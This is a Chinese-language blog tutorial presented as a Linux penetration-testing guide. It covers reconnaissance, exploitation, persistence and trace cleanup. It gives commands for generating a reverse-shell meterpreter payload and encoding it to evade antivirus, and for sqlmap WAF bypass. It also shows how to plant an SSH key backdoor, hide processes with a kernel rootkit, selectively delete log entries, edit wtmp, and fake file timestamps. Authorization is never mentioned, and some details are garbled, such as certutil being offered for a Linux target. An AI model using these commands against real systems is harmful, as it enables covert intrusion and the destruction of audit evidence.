Linux渗透测试实战：从信息搜集到痕迹清理的完整指南-平芜编程栈

1. Linux渗透测试全景图：从零到实战的完整路径

在网络安全领域，Linux渗透测试始终是攻防对抗的核心战场。不同于市面上零散的"命令大全"，我将通过一张思维导图（附后）串联起整个渗透测试生命周期中的关键命令，这些命令不是孤立的语法糖，而是构成攻击链的战术单元。这张图的价值在于：当你在实战中卡壳时，能快速定位当前阶段该用什么"武器"，以及如何与下一阶段形成战术配合。

初学者常犯的错误是死记硬背命令参数，却不知道在什么场景触发什么命令组合。比如netstat -tuln和ss -lntp都能查看开放端口，但后者能直接显示进程名——这在权限维持阶段识别防护软件时至关重要。真正的专家思维是理解每个命令的战术定位：信息搜集阶段的命令要足够"安静"避免触发告警，而权限提升时的命令则要追求"一击必杀"。

提示：所有命令演示均在Kali Linux 2023.3环境下验证，部分命令需要root权限执行时会特别标注"#"，普通用户命令用"$"表示

2. 信息搜集：无声的战场侦察

2.1 网络拓扑测绘三板斧

nmap无疑是 reconnaissance 阶段的瑞士军刀，但大多数人只用-sS做简单扫描。真正专业的用法是：

# 隐蔽扫描+操作系统指纹识别+服务版本探测 nmap -T4 -sS -Pn -sV -O --script=default,discovery 192.168.1.0/24 -oA scan_result

这里的-T4控制扫描速度（避免被IPS阻断），-Pn跳过主机发现（假设所有主机在线），-oA输出三种格式报告。配合--script参数可以调用NSE脚本进行漏洞探测，比如http-title.nse能快速识别Web应用框架。

对于内网横向移动，arp-scan比nmap更高效：

arp-scan -l --interface=eth0 --localnet

它能直接读取ARP缓存，30秒内完成C段存活主机发现，且不会产生TCP/IP协议栈的日志。

2.2 服务指纹的深度提取

当发现开放80端口时，菜鸟直接用浏览器访问，而老手会用curl获取原始响应头：

curl -I http://target.com | grep -i 'server\|x-powered-by'

这能识别出Nginx 1.18.0或PHP 7.4.3等具体版本，接着就可以在ExploitDB搜索对应漏洞。

对于数据库服务，nc命令的手工交互探测往往比工具更有效：

nc -nv 192.168.1.100 3306

输入无效SQL语句后，MySQL会返回包含版本号的错误信息，这种方式完全不会触发SQL审计日志。

3. 漏洞利用：精准打击的艺术

3.1 自动化工具与手工利用的平衡

Metasploit是新手的最爱，但直接use exploit/multi/handler会留下明显特征。高阶用法是自定义payload：

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=443 -f elf > payload.bin

然后通过certutil或xxd将二进制文件编码为文本，在目标机上反向解码执行，这样能绕过大多数杀软的静态检测。

对于Web漏洞，sqlmap的--tamper参数才是精髓：

sqlmap -u "http://target.com?id=1" --tamper=space2comment --level=5 --risk=3

space2comment将空格替换为/**/，charencode对特殊字符进行URL编码，这些技巧能有效绕过WAF。

3.2 内存攻击的现代战场

面对开启了ASLR和DEP保护的系统，传统的栈溢出已经失效。这时候需要readelf和objdump进行二进制分析：

readelf -s /usr/bin/vulnerable | grep 'system@@GLIBC' objdump -d -M intel /usr/bin/vulnerable | grep -A15 '<main>:'

通过查找GOT表偏移和ROP gadget，可以构造面向返回编程的攻击链。配合gdb-peda的checksec命令能快速判断目标程序的防护机制：

gdb -q /usr/bin/vulnerable checksec

4. 权限维持：隐蔽的后门工程

4.1 用户态隐藏技术

在获取root权限后，/etc/passwd添加用户太容易被发现。正确做法是用openssl生成SSH证书：

ssh-keygen -t ed25519 -f backdoor -N ""

然后将公钥写入目标的~/.ssh/authorized_keys，使用-o StrictHostKeyChecking=no参数避免首次连接提示。这种方式的优势是：

不会创建新用户账号
走正常SSH协议加密通道
可以设置证书密码增加安全性

4.2 内核级Rootkit防护

为防止管理员用lsmod发现异常内核模块，可以通过syscall hook技术隐藏进程。这需要dkms动态编译内核模块：

apt install linux-headers-$(uname -r) dkms install -m stealth -v 1.0

关键是要修改/proc文件系统的readdir回调函数，过滤掉特定进程名的显示。更高级的做法是劫持kill系统调用，当检测到SIGKILL发送到隐藏进程时，静默丢弃该信号。

5. 痕迹清理：攻防的最后一公里

5.1 日志混淆技术

直接删除/var/log/auth.log等于自我暴露。应该用sed进行选择性删除：

sed -i '/192.168.1.100/d' /var/log/auth.log

对于二进制日志如wtmp，要用utmpdump转换格式后编辑：

utmpdump /var/log/wtmp > wtmp.txt vim wtmp.txt # 删除特定条目 utmpdump -r wtmp.txt > /var/log/wtmp

5.2 文件时间戳伪装

touch -d可以修改文件访问时间，但inode变更时间（ctime）无法直接修改。这时候需要调整系统时钟：

date -s "2023-01-01 12:00:00" touch -d "2023-01-01 12:00:00" backdoor.sh hwclock --systohc

注意要先改系统时间再操作文件，整个过程要在30秒内完成，避免NTP服务自动校正时间。

6. 思维导图实战解析

（此处应有一张渗透测试命令全景图，因文本格式限制，用文字描述结构）

6.1 横向移动路径示例

信息搜集 → arp-scan发现192.168.1.105 → nmap发现445端口 → smbclient列出共享 漏洞利用 → eternalblue攻击 → meterpreter会话 权限维持 → 添加crontab持久化 → ssh证书后门 痕迹清理 → 清除/var/log/samba日志